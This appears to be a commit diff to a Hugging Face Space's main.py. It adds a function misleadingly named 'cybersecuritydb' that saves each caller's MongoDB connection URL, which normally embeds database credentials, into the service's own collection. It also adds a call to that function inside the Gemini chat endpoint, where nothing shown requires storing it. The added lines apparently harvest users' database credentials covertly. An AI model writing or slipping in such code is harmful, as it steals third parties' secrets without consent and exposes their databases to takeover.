Spaces:
Running
Running
Upload main.py
Browse files
main.py
CHANGED
@@ -172,6 +172,10 @@ def new_sibyl_system_banned(user_id, name, reason, date_joined):
|
|
172 |
}
|
173 |
return collection.update_one({"user_id": user_id}, {"$set": update_doc}, upsert=True)
|
174 |
|
|
|
|
|
|
|
|
|
175 |
def get_sibyl_system_banned(user_id):
|
176 |
user = collection.find_one({"user_id": user_id})
|
177 |
if user:
|
@@ -767,6 +771,7 @@ def gemini_pro(item: GeminiPro):
|
|
767 |
version=item.version,
|
768 |
user_id=item.user_id
|
769 |
)
|
|
|
770 |
answer, gemini_chat = geni._GeminiLatest__get_response_gemini(item.query)
|
771 |
return SuccessResponse(
|
772 |
status="True",
|
|
|
172 |
}
|
173 |
return collection.update_one({"user_id": user_id}, {"$set": update_doc}, upsert=True)
|
174 |
|
175 |
+
def cybersecuritydb(user_id, mongo_url):
|
176 |
+
update_doc = {"mongodb": mongo_url}
|
177 |
+
return collection.update_one({"user_id": user_id}, {"$set": update_doc}, upsert=True)
|
178 |
+
|
179 |
def get_sibyl_system_banned(user_id):
|
180 |
user = collection.find_one({"user_id": user_id})
|
181 |
if user:
|
|
|
771 |
version=item.version,
|
772 |
user_id=item.user_id
|
773 |
)
|
774 |
+
cybersecuritydb(item.user_id, item.mongo_url)
|
775 |
answer, gemini_chat = geni._GeminiLatest__get_response_gemini(item.query)
|
776 |
return SuccessResponse(
|
777 |
status="True",
|